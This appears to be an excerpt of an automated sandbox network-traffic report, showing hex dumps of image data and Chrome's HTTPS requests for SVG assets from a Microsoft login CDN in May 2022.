ac ce 2a 0a 73 7d da 28 10 2b b6 b3 65 9e 58 c4 65 0f b4 08 f0 b9 a2 6d bb c5 7e ae 6b bf 61 5e 43 f2 cd 3d 98 f7 25 e7 
c1 1e b2 f7 dc 07 3e c7 9c 45 e6 39 3b 0a f0 10 3e fb 5c 77 b9 8a 88 88 88 88 88 dc 02 16 e1 89 88 88 5c 07 8b f0 44 44 
e4 66 b1 08 4f 44 2e 4d 17 17 e4 25 7f 5e f6 a3 2e c6 
Data Ascii: 9<%^z&@=)l#l#!c^:b_]s6\8GY3H:\&gC"op?-~x\GKLe`1krks^W(58YX;=*s}(+eXem~ka^C=%>E9;>\w\DDfO
D.M%^.

2022-05-27 06:46:25 UTC 865 IN Data Raw: 90 0d 11 63 00 00 ff f4 49 44 41 54 a7 bf 5a c3 58 f7 89 15 71 ff 00 9b a6 ed 11 e3 01 df 1d e3 a8 a5 1f f0 11 
56 36 d3 76 a5 ec 81 f9 09 36 f4 81 18 ad d0 b6 f4 99 4b db cf e8 d1 9a 90 f9 a9 d0 f6 fd f3 67 75 2f 58 43 1b da a6 89 4d 
ff 9c a2 5d f9 58 d1 7e d3 6f 31 16 76 7e 32 df 73 bb d8 bb f5 f7 a5 f3 6a 31 96 38 b4 28 cc eb 23 f0 17 f0 8f 7a 8c fe 2a c6 
d4 11 f8 9b cf 05 d7 51 c0 17 f7 bb ef 7b c7 a1 85 be 8e af 39 7f 5f 76 3e 56 e3 e4 0e 99 6f bb 39 0f d3 4e 44 44 44 44 44 
e4 63 c2 22 3c 11 11 91 eb 60 11 9e 88 88 dc 2c 16 e1 89 c8 63 c0 0b fe b4 51 17 37 4c f1 c2 9f 97 fe e7 16 3a d0 36 c4 
0d 33 87 79 1d 56 be bb 7f 2e 2b 5b 62 00 71 19 ef 1c a0 e3 b7 3d e7 d4 67 96 36 70 1d d2 e2 83 b3 4b 9b 22 bc d5 99 
a6 0f b9 ee f6 29 92 fd 9d 52 98 7b e8 b9 95 
Data Ascii: cIDATZXqV6v6Kgu/XCM]X~o1v~2sj18(#z*Q{9_v>Vo9NDDDDDc"<`,cQ7L:63yV.+[bq=g6pK")R{

2022-05-27 06:46:25 UTC 869 IN Data Raw: 9f f7 85 f5 d3 0f fd 8e 45 1e 14 8d d0 ef fc 68 db 47 e8 33 a1 60 63 d2 36 a7 04 ab 7e db 74 ff 39 d1 f9 d3 ce 
82 17 c6 39 eb 3e 7f c4 3d 88 5d 2b b0 8e b5 73 7d cf 4f 3b 6c 11 cf 44 44 71 d1 f4 b3 5a 87 da 76 32 73 9f 6a ff d3 2f 73 
08 b8 3e 27 27 d4 6b e8 47 d0 fd d0 f3 73 ae c9 dc 8c 15 ed f2 60 6e 5e 1f e5 8c 60 5e cf 33 cd 33 c6 78 88 2d 3e cf cd 
69 6a c6 9c f4 dc b4 63 6d fc 10 a7 9f 37 44 71 59 5f d3 8f 2d e7 b4 53 fb c3 ff b4 21 8f de 57 f7 3b d7 28 6b d2 e2 0b bf 
e4 47 8e 33 57 d6 4f e1 bb 63 44 ed 9b 5c 89 cd 3c fd 5e 4b be 2d ec d1 f4 19 b1 b6 ef 0f d7 22 22 22 22 22 22 22 22 22 
22 f2 5f 2c c2 13 11 11 11 11 79 00 ab 62 16 8a a6 22 a0 d0 a1 8b 20 18 3f a7 90 61 15 83 bf 56 c4 f5 91 e6 da 1e 43 0d 
79 b5 56 05 1c cd f4 1f 25 bf d5 78 44 dc d5 dc 
Data Ascii: EhG3`c6~t99>=]+s}O;lDDqZv2sj/s>''kGs`n^`^33x->ijcm7DqY_-S!W;(kG3WOcD\<^K-""""""""""_,yb" ?
aVCyV%xD

2022-05-27 06:46:25 UTC 873 IN Data Raw: 5b d1 f3 ab fe 6e 3d 39 cd 3c fb 7a ae 5d f9 5c f9 9f fb 6d bf 69 b3 86 36 74 7b ca 5f f7 4f 31 7d 75 0e dd 6f c8 
81 b5 dd 5f 81 af 29 e6 ba 15 11 11 11 11 11 91 e7 83 45 78 22 22 22 d7 c1 22 3c 11 11 b9 59 2c c2 13 91 6b d2 85 0d 
47 45 0e f7 e1 a1 c5 0e bb f8 47 fe 2e 95 73 73 c9 fc e3 6b 37 7e c4 43 73 f8 90 f4 3e d3 e7 ba fb 93 ec b3 f7 4a 7f ae 59 
ad ef 75 73 7e 5e af 62 cc b1 5d 3c fa d3 67 98 3e 56 be 61 b5 3e b0 2e f3 ab 75 61 95 cf 39 4c 5b ae 77 71 4e c1 ba a3 
f5 f7 c9 2f 3c 46 8e a8 39 d7 5f e7 d3 b9 1c ed 6b 35 c7 d8 d1 ba ce e9 28 df e9 e3 d4 35 1c f9 a4 bf f2 75 8e bf e9 7b c5 
ca cf b9 3e 58 7b 94 0f c4 0f be 56 fe 8f e2 88 88 88 88 88 88 c8 d3 c5 22 3c 11 11 91 eb 60 11 9e 88 88 dc 2c 16 e1 89 
c8 87 e0 54 91 c3 fb b0 2a 80 78 cc 78 97 e6 a8 
Data Ascii: [n=9<z]\mi6t{_O1}uo_)Ex""""<Y,kGEG.ssk7~Cs>JYus~^b]<g>Va>.ua9L[wqN/<F9_k5(5u{>X{V"<`,T*xx

2022-05-27 06:46:25 UTC 877 IN Data Raw: b0 08 4f 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 e4 81 58 84 27 22 22 22 22 22 22 22 22 22 
22 22 22 22 22 22 22 22 22 f2 40 2c c2 13 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 79 20 16 e1 89 88 88 
88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 3c 10 8b f0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 
1e 88 45 78 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 0f c4 22 3c 11 11 11 11 11 11 11 11 11 11 11 11 
11 11 11 11 11 11 91 07 62 11 9e 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 c8 03 b1 08 4f 44 44 44 44 44 
44 44 44 44 44 44 44 44 44 44 44 44 44 e4 81 58 84 27 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 f2 40 2c 
c2 13 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 79 20 16 e1 89 
Data Ascii: ODDDDDDDDDDDDDDDDDDX'""""""""""""""""""@,y <DDDDDDDDDDDDDDDDDDDEx""""""""""""""""""""<bO
DDDDDDDDDDDDDDDDDDX'""""""""""""""""""@,y 

2022-05-27 06:46:25 UTC 882 IN Data Raw: 22 7e 29 10 a2 25 16 63 ab f9 f8 dc c5 ee f1 d0 e3 0d be d0 2c 58 9a 62 2e a2 f8 0e 51 10 c5 f5 f4 01 9d 0b fd 
79 1d 7a ed 8c db fd 9e 5f 81 bf 66 15 e3 d2 cc b8 5c a7 5d 69 ce 71 1e 69 bb cf fc b4 0f bd 8f de 1b ea f1 66 35 df 0a 1d 
8b 9c 5a 5d 5c d6 39 cd 76 07 71 26 9d 47 3f 67 14 dc 7d f1 c5 17 ef 44 f1 1d 2d 85 78 fd 5c f2 fc c0 2e af 39 4e 0e dd df 
09 b8 8e 2f d4 b4 ed 7d 99 b1 9a 55 2c 11 11 11 11 11 11 11 11 11 11 11 b9 3f 16 e1 89 88 88 88 88 dc 13 0a 5a d2 52 
d4 85 28 78 c1 a6 8b 6a 8e 0a 5e 7a 5d d4 3e bb 28 28 a2 50 88 a2 a1 16 36 bd be fd 4e 3a 5e db 4d e1 ab fd d3 4f 5c e6 
77 f6 b1 a1 d8 89 82 a7 b4 cc a5 9d 3e 22 72 a4 8d b0 e9 36 c2 17 fe e6 f5 8c b3 12 31 f0 8b 7d c7 43 97 60 f7 3c ac 9e 
95 8e 3d f5 90 79 f6 cc 3e fb dc 56 e7 b4 5b cb 5c 
Data Ascii: "~)%c,Xb.Qyz_f\]iqif5Z]\9vq&G?g}D-x\.9N/}U,?ZR(xj^z]>((P6N:^MO\w>"r61}C`<=y>V[\

2022-05-27 06:46:25 UTC 886 IN Data Raw: fa 05 7d cf e1 3f d0 27 ee 14 39 35 c4 27 97 14 ce 1c e5 15 e6 35 c4 f7 6e 6e c7 43 d6 7c 48 ae 95 ef bc 4f f3 
7a 72 34 cf 1c f7 9f e7 13 65 0c b1 b7 b4 fd 9c a2 9e bf 04 2b 3f e4 db 60 37 e7 56 b6 d0 be db 6e f6 57 3e 7a 9f dd 6f e6 
35 b4 bf 9d 4d 58 c5 9d 60 43 9e bb 35 9d 67 73 6e ce d0 31 d2 f2 8c f4 cf 35 84 6d 44 7c 9e 93 fc 1c e1 67 49 ab e3 ef 
72 59 8d 93 53 e8 b8 9d c7 9c 03 72 6b 91 4b 84 cd 11 2b ff 53 4d ef 97 78 a1 63 42 af 9d 7e 2e c5 f4 bb da 2f b9 c5 76 
f6 e5 e9 92 7b c4 fd ed cf 43 fa f3 73 cb 1c f7 94 67 b4 9f d7 7e 6e 01 ff b4 0d b6 6d 1f 88 05 73 2d f6 bd 76 b6 2b f0 8b bf 
be ce 1e 61 fa 8f da 16 fb d5 b9 a4 e5 4c fa 6c 7a be db 23 e2 17 e8 13 6f 45 fb be 4f 9c 23 66 0e 9d c7 64 c6 c4 be cf 8a 
16 62 cb 19 9d 3a b3 b0 8a db ac e6 7b 7d 
Data Ascii: }?'95'5nnC|HOzr4e+?`7VnW>zo5MX`C5gsn15mD|gIrYSrkK+SMxcB~./v{Csg~nms-v+aLlz#oEO#fdb:{}

2022-05-27 06:46:25 UTC 897 IN Data Raw: fd a1 f7 89 c4 7c f5 ab 12 63 a5 4e ed e2 f8 9c 93 14 b6 96 0d ed 49 fb 3e 1d 27 3d de 98 c9 69 bc a5 b6 8e cb 
f1 94 1d 0f 4e fe e4 74 6c 5b 97 1d 53 dd e3 64 93 71 b9 fe d0 f1 9e 42 8e a1 9e be fa 78 8c b7 4a de 97 ee 6f fe 3b 4f d9 
9f f7 84 7b b0 6d f4 67 79 c5 c9 ee 34 26 63 9d ca e6 d4 7f 15 e3 ca 07 60 47 7f da f4 71 a2 5f ca 8c 21 3d ae 6d 72 2f 4b 
f5 fc 5a 8e 31 c6 c7 64 1f e1 8d 31 c6 18 af c3 3e c2 1b 63 8c f1 66 d9 47 78 63 8c 97 a4 1f d8 b7 6e 91 0f e1 1f 79 20 9f 
fe ae ea 27 ee c5 39 f5 5f 95 d2 c7 e3 f9 39 5d 63 4a e5 f1 15 b7 fa e4 91 eb 78 e5 e7 96 ff a7 ac 9b f4 73 2f e7 ab 7c 19 
87 7c c9 e8 07 21 7e 7c 96 1f 9b 01 7e 78 29 e6 07 22 7e 44 76 eb 03 32 e8 e3 ce f7 2a ff 7b e7 9d 68 7b 2b f6 d5 58 b1 
9f d2 39 71 3e 5a ce 0b fe 91 f3 72 35 07 
Data Ascii: |cNI>'=iNtl[SdqBxJo;O{mgy4&c`Gq_!=mr/KZ1d1>cfGxcny '9_9]cJxs/||!~|~x)"~Dv2*{h{+X9q>Zr5

2022-05-27 06:46:25 UTC 913 IN Data Raw: 70 4c ae 95 6e 47 fa cb 7f 0b bb ee e9 ef fb a6 f7 1c fd 9d e8 be 3e ce dc cc 87 b8 9e e7 e9 5e 04 fc 98 93 32 
27 fa d4 09 63 1a 2b cf 9f bf 0b fc db c0 98 c6 35 76 e6 3c c6 18 af c9 3e c2 1b 63 8c 31 5e 87 7d 84 37 c6 18 e3 cd b2 8f 
f0 c6 18 cf 89 0f e1 29 fb 45 02 2f 37 f8 f8 ee fb ef bf ff 49 b4 f9 62 ce 71 57 2f 04 7c 59 e1 03 fb 7c 41 c0 58 7c e0 0b ff 88 
58 e9 1b bf 3e dc f7 61 bf 3e 8c 49 d9 0f fb cd 0b a8 7b 9c 65 ca 36 48 7f 19 c3 e3 2b c9 a9 cf b9 d1 57 e6 8d 1c f7 96 c9 
f9 e6 fa f6 1a f3 25 1a 62 0d 3a 4f 39 6f 8e a7 5f d1 ee fa 48 b9 46 c0 75 86 6f d7 18 75 d7 19 32 0e e3 8c 67 cc bc 27 1c 
97 e3 45 1f 4a 1f 60 1d d1 47 1c a5 ad b9 e0 17 79 8e b4 39 ce 7b 20 ef 05 da 01 5b f2 ea 39 d5 97 b9 e2 eb 84 31 50 ce 
e5 ef 7f ff fb ff 75 0f 23 ec d5 18 
Data Ascii: pLnG>^2'c+5v<>c1^}7)E/7IbqW/|Y|AX|X>a>I{e6H+W%b:O9o_HFuou2g'EJ`Gy9{ [91Pu#

2022-05-27 06:46:25 UTC 929 IN Data Raw: 06 fa 5d 16 00 00 ff f4 49 44 41 54 e7 db e3 2c 53 dd cf f9 65 bd c7 e4 79 50 3a a7 e4 cf 3c 21 e7 ed 6a ee 72 
3c 65 cb 38 a7 73 3c c5 37 07 c8 fa 18 63 bc 2f ee 5b 89 6d 94 c8 df 0e 44 dd df 49 70 6f 52 ee 59 b9 cf 59 5e ed 69 39 
1e 39 56 d9 96 fd e9 4b 3b 6d f2 d8 b8 69 df 6d e9 df 12 99 5b c3 b9 67 3f 63 d4 c9 ff a9 1d b9 cf e7 7e af df bc 06 b4 75 
1c 7d 3a a6 65 8c 93 da 8f 72 2c 50 da ee 98 1c 6f dd e3 93 f4 77 f2 95 36 96 57 ba ea d7 47 e7 92 a5 72 8e b3 9e f3 ae 
d2 bf 64 7d 8c f1 e1 b8 bf 25 b4 21 7f 63 f2 df da d6 91 63 f3 5e 3d 29 ef 6b e4 fd 9f 6a 9b 1e db b6 96 ec 1d da 28 fa 18 
9b 9c ce 53 1b c6 5c c5 4a 11 0b f9 f7 81 7f 23 28 c7 2b e9 5c c6 18 e3 a5 f9 fe fb ef df 7d fb ed b7 ef be fa ea ab 9f 5b c6 
18 63 8c f1 12 fc 9f bf fd ed 6f ff fb 2f 
Data Ascii: ]IDAT,SeyP:<!jr<e8s<7c/[mDIpoRYY^i99VK;mim[g?c~u}:er,Pow6WGrd}%!cc^=)kj(S\J#(+\}[co/

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:25 UTC 945 IN Data Raw: b5 7e 6f 11 7c 39 1f c4 58 d2 46 3d 20 e6 94 d4 9f d8 27 fa e4 db 4f f2 dd 4c d2 33 51 cf c4 bc 8c 73 e5 bf 94 
52 4a 29 af 07 f7 14 ee 2f dc 8b ac f6 31 e0 9e c3 d2 7a f7 16 a5 94 c7 e4 b7 df 7e 7b f3 f3 cf 3f bf f9 e1 87 1f fe 6e 29 a5 
94 52 ca 53 d0 24 bc 52 4a 29 37 4b 93 f0 4a 29 13 0f b9 21 0f c3 9b 84 57 4a 29 e5 56 f0 47 5d 84 ef 1a df 38 e4 e3 c7 8f
9f 92 ef 10 ae 69 47 07 f2 87 5e bf 6d fa 99 f5 1d 47 fd bb ef 25 36 73 6c bf bb 5e ab e7 0f d7 7e bf 41 7d bf cd 08 ba ea f8 
5d 57 b4 99 d8 27 c6 e0 bf 82 e7 bf 8a 37 ff 05 bf 8c 53 29 a5 94 52 ca eb c5 3d 85 7b 0f f7 23 ee 63 10 fb c0 3d 87 a5 f5 
ee 2d 4a 29 8f 49 93 f0 4a 29 a5 94 eb d0 24 bc 52 4a 29 37 4b 93 f0 4a 29 13 0f b9 21 0f c3 8f 92 f0 e6 41 b8 e2 41 78 0f 
c4 4b 29 a5 bc 24 fc 51 d7 ef 9c 
Data Ascii: ~o|9XF= 'OL3QsRJ)/1z~{?n)RS$RJ)7KJ)!WJ)VG]8iG^mG%6sl^~A}]W'7S)R={#c=-J)IJ)$RJ)7KJ)!AAxK)$Q

2022-05-27 06:46:25 UTC 961 IN Data Raw: f4 83 2d eb 49 02 9e e2 1a eb 77 fa 29 a5 94 52 ca cb 21 f7 35 ee 89 49 5e c9 64 1c 13 5b dc f7 e5 9e 20 bf ef 
fa 98 fb 6b 75 b4 41 a6 fe 6e 8c dc 4b 08 7a 26 e1 58 6a 9b 7e 6c 47 a8 d3 a6 7f a0 54 d2 56 fb d4 4d 72 ce 39 2f ea fa 
73 cc 8c 2f e3 44 8c c9 31 ed cb 31 77 63 b9 5f 73 3f 86 d8 6e 2c 69 57 ae 87 cf 40 3e 07 29 be 53 3e 07 de 2b ef 6d de 
af 7c 3e d4 87 9d 8d fa 8c a3 9d a0 93 ef 13 d7 c4 88 8d 71 65 99 e3 5a 9f d7 d4 f3 79 05 e7 3e ed 76 fa c6 4e 39 05 f4 
85 64 7c 88 ed 88 63 d8 e7 78 88 7e 12 c7 70 3d 90 7c af f2 5d 12 e7 96 e8 23 7d e9 5b 29 a5 94 4b 69 12 5e 29 a5 94 
72 1d 9a 84 57 4a 29 e5 66 69 12 5e 29 e5 14 1e 80 73 a8 6e dd 03 f1 79 e8 9d 87 e1 a0 5d da da 0e 69 67 3d f1 7a ea 
51 ce 83 7b c4 1f c6 52 56 7a 2b 7b 75 b3 44 d4 a5 34 16 31 
Data Ascii: -Iw)R!5I^d[ kuAnKz&Xj~lGTVMr9/s/D11wc_s?n,iW@>)S>+m|>qeZy>vN9d|cx~p=|]#}[)Ki^)rWJ)fi^)sn
y]ig=zQ{RVz+{uD41

2022-05-27 06:46:25 UTC 977 IN Data Raw: b2 99 f6 b2 6a 4f 5f 2b b2 5f fb 55 39 7d 6b 37 63 55 17 f1 fe a7 80 65 29 a5 94 db c1 ef 81 7b 2c f6 5d 26 0e 
91 24 64 f2 5d fe 0b 5e f4 ab cf b7 61 ee c9 f5 33 f7 6f 7e 47 a8 23 b4 a7 5e fa 33 91 06 d1 bf f6 ea af 44 bf 8e 21 d8 a6 
d8 af 8e a5 fd ce 27 85 38 14 db b0 cb f1 33 a9 50 49 9d 24 c7 c9 39 9f 4a c2 53 d7 58 f5 55 9e 17 9f 27 ef b5 ef 92 ff a2 
24 92 09 ad bc 63 99 84 87 f8 6c 79 3f d3 17 82 6e e2 78 ab f7 c8 e7 ca 04 3c ea 88 be 33 d6 14 db b3 44 c4 58 95 ec 4f 
3d 70 2e ce 4b 31 16 e3 41 80 f1 9c ab 75 4a 05 ff 96 88 b6 48 fa 35 f1 f0 54 12 1e a4 4f 4b d0 5f fa a5 9e 63 96 52 ca a5 
34 09 af 94 52 4a b9 0e 4d c2 2b a5 94 72 b3 34 09 af 94 32 f1 90 1b 3c f8 46 2e 4d c2 03 6c b4 c3 c7 29 d4 9d 25 e8 7b 
8e 33 c7 94 1c 1b e6 35 a4 4f 98 fd b0 f3 0f 
Data Ascii: jO_+_U9}k7cUe){,]&$d]^a3o~G#^3D!'83PI$9JSXU'$cly?nx<3DXO=p.K1AuJH5TOK_cR4RJM+r42<F.Ml)%{
35O

2022-05-27 06:46:25 UTC 993 IN Data Raw: 83 68 21 f7 00 00 b0 10 49 44 41 54 2f 42 1b 63 e6 d8 e8 04 ce 83 98 72 dc 36 fa dc 3b 9e d5 f1 b4 1f e1 9a 
00 d7 81 b5 29 75 fa fa da 74 5d ae 0e 3d 7f 7a 7e cc 79 c4 fc 00 ee 37 e3 b1 c1 7c 8a 2e 3a 3d 67 d2 de 7e f0 d5 cf 11 
3e 23 c4 85 ed f6 d1 7e 63 77 ea 44 5a 27 25 e7 d0 e7 12 d0 89 cc 18 ba de c7 29 db 0f 65 fb c9 39 47 78 76 22 1c 43 74 
91 06 bd 1e 8f 3d 44 44 e4 ac 98 84 27 22 22 72 31 98 84 27 22 22 d7 16 93 f0 44 e4 24 d8 00 67 f3 7c 6e 88 b3 09 de 65 
0b 3a e7 41 db ed 38 91 fe 12 80 f8 f7 41 cc 39 8f 99 e4 b5 95 d0 c5 31 82 0e fa 24 85 91 80 87 ad e8 10 7f e2 9a be 91 
e9 bb fb 72 4c 7f 4a fc 50 47 7a 0c 82 ad b6 d9 63 66 bc b4 a3 8b b4 9d 95 ad d6 db 27 53 8f 7a 4a 6c 9d 24 7d ad a9 b7 
4d ae 31 d7 5d 44 44 44 e4 ba c0 5a 97 35 30 89 33 9d 10 
Data Ascii: h!IDAT/Bcr6;)ut]=z~y7|.:=g~>#~cwDZ'%)e9Gxv"Ct=DD'""r1'""D$g|ne:A8A91$rLJPGzcf'SzJl$}M1]DDDZ503

2022-05-27 06:46:25 UTC 1009 IN Data Raw: f1 69 ef f3 64 0c fa a1 fd a5 24 06 4a 58 d9 40 a2 d7 25 fa 3d 7e 82 2e 7a 6d 9b 7a a0 8d 76 9e 4b e6 4f 9e cd 
94 69 4b 5f ee c7 b4 21 22 22 02 79 e7 44 f2 9e 8b b0 e6 e8 f5 74 ff 4f 2d bc 5b fb dd cf 7a 20 c4 16 ef 75 d6 27 fd 0e 65 
3c 6d 94 79 47 c5 4e bf d7 52 46 d2 9e fe e8 c6 26 31 46 da 07 b6 90 40 19 62 03 21 66 e2 86 1e 1b d2 cf 79 46 78 b7 ce 
f3 ed 78 4e 8a 29 74 2c c4 81 9f 7e af f7 75 88 6f 74 23 19 2b 97 87 dc df dc ef dc fb 48 e6 41 9e 1b 3e 93 f6 67 d3 f4 87 
be ef 73 5e 61 ab e7 d3 9c 4b cc 31 fa 42 6c 64 ae f4 b3 14 69 fb cc d3 39 6f db d6 14 48 3d 76 5a 98 c7 30 c7 84 9c 27 
e7 ca 73 14 61 1e c7 2f 31 11 4f 84 eb 89 cd b6 cb 58 fc e3 23 12 1f 3c 3f 7d 0d f0 19 89 2d ce 99 f3 0e d8 6a 9b 9c 27 22 
22 72 56 4c c2 13 11 11 b9 18 9e fe 92 97 bc 
Data Ascii: id$JX@%=~.zmzvKOiK_!""yDtO-[z u'e<myGNRF&1F@b!fyFxxN)t,~uot#+HA>gs^aK1Bldi9oH=vZ0'sa/1OX#
<?}-j'""rVL

2022-05-27 06:46:25 UTC 1025 IN Data Raw: 4b 54 70 c5 97 05 7c d1 97 99 25 3c be f8 43 09 4e 9d 48 5a d3 d9 e7 0b 1c c2 e4 21 9f af c1 9a 36 69 ea ea 
4b 19 0b 5f c9 51 be 82 25 3c ca 19 f5 19 5f 3c 71 6d 8d c5 ef e6 6f 36 eb f4 b2 d4 75 4c 6f 9d 5d 7e 64 2e 75 be e8 a1 91 
0b 56 27 e1 d4 2c e1 1d 55 a1 f4 cc 99 33 b5 51 ec 10 a5 1f d3 6d 53 87 73 9e 4d 9b 37 49 fa d5 d6 72 72 e0 c0 7e 35 a5 
7f 50 1a 47 5e 1e d0 30 57 ad 52 55 ef 03 69 d5 ae 6d 5b d7 53 3a 14 3c dc f0 52 05 31 dd 7b ef be ab 62 3f da 92 8e 72 
cd 4d 9b 5e a9 f7 83 b6 09 eb 70 bc b4 41 e0 46 3d f2 c6 eb af 69 a3 4f 99 a6 ac 67 55 a6 b3 13 cd d2 c6 61 79 6e dc b8 
71 2a 68 e3 9e e1 96 9c cf 49 67 c4 bc bc a4 a1 be f9 c1 2d b7 a8 58 93 36 91 7b ca 35 2e 5a bc 50 ee 69 6f ad 5f b0 60 
88 70 11 01 22 2f 05 58 a7 6d 21 0d 38 86 87 40 84 83 
Data Ascii: KTp|%<CNHZ!6iK_Q%<_<qmo6uLo]~d.uV',U3QmSsM7Irr~5PG^0WRUim[S:<R1{b?rM^pAF=iOgUaynq*hIg-
X6{5.ZPio_`p"/Xm!8@

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

16 192.168.2.3 55968 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:25 UTC 669 OUT GET /shared/1.0/content/images/ellipsis_635a63d500a92a0b8497cdc58d0f66b1.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: logincdn.msauth.net
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2022-05-27 06:46:25 UTC 705 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 19878867
Cache-Control: public, max-age=31536000
Content-MD5: GapJ5vNFgRzr6JUAPI/Pxw==
Content-Type: image/svg+xml
Date: Fri, 27 May 2022 06:46:25 GMT
Etag: 0x8D79ED29C78BE93
Last-Modified: Wed, 22 Jan 2020 00:32:50 GMT
Server: ECAcc (frc/8F13)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 10a17e53-901e-0088-4ec9-bc01ef000000
x-ms-version: 2009-09-19
Content-Length: 900
Connection: close

2022-05-27 06:46:25 UTC 705 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 31 36 20 31 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 
31 2e 31 34 33 2c 36 2e 38 35 37 61 31 2e 31 30 37 2c 31 2e 31 30 37 2c 30 2c 30 2c 31 2c 2e 34 34 36 2e 30 38 39 2c 3
1 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2c 2e 36 30 37 2e 36 30 37 2c 31 2e 31 36 31 2c 31 2e 31 36 31 2c 30 
2c 30 2c 31 2c 30 2c 2e 38 39 33 2c 31 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2d 2e 36 30 37 2e 36 30 37 2c 
31 2e 31 30 37 2c 31 2e 31 30 37 2c 30 2c 30 2c 31 2d 2e 34 34 36 2e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><title>assets</title>
<path d="M1.143,6.857a1.107,1.107,0,0,1,.446.089,1.164,1.164,0,0,1,.607.607,1.161,1.161,0,0,1,0,.893,1.164,1.164,0
,0,1-.607.607,1.107,1.107,0,0,1-.446.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

17 192.168.2.3 55969 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:25 UTC 675 OUT GET /shared/1.0/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e65b4c.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: logincdn.msauth.net

2022-05-27 06:46:25 UTC 812 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 24630702
Cache-Control: public, max-age=31536000
Content-MD5: /a3y/mpA+HRaVAiPACrsog==
Content-Type: image/svg+xml
Date: Fri, 27 May 2022 06:46:25 GMT
Etag: 0x8D79ED29CB2C46E
Last-Modified: Wed, 22 Jan 2020 00:32:50 GMT
Server: ECAcc (frc/8F20)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 57f77c94-801e-004b-4f91-91f668000000
x-ms-version: 2009-09-19
Content-Length: 915
Connection: close

2022-05-27 06:46:25 UTC 813 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 31 36 20 31 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 66 69 6c 6c 
3d 22 23 37 37 37 37 37 37 22 20 64 3d 22 4d 31 2e 31 34 33 2c 36 2e 38 35 37 61 31 2e 31 30 37 2c 31 2e 31 30 37 2c 
30 2c 30 2c 31 2c 2e 34 34 36 2e 30 38 39 2c 31 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2c 2e 36 30 37 2e 36 
30 37 2c 31 2e 31 36 31 2c 31 2e 31 36 31 2c 30 2c 30 2c 31 2c 30 2c 2e 38 39 33 2c 31 2e 31 36 34 2c 31 2e 31 36 34 
2c 30 2c 30 2c 31 2d 2e 36 30 37 2e 36 30 37 2c 31 2e 31 30 37 2c 31 2e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><title>assets</title>
<path fill="#777777" d="M1.143,6.857a1.107,1.107,0,0,1,.446.089,1.164,1.164,0,0,1,.607.607,1.161,1.161,0,0,1,0,.89
3,1.164,1.164,0,0,1-.607.607,1.107,1.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

18 192.168.2.3 55970 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:25 UTC 1037 OUT GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: logincdn.msauth.net

2022-05-27 06:46:25 UTC 1037 IN HTTP/1.1 200 OK
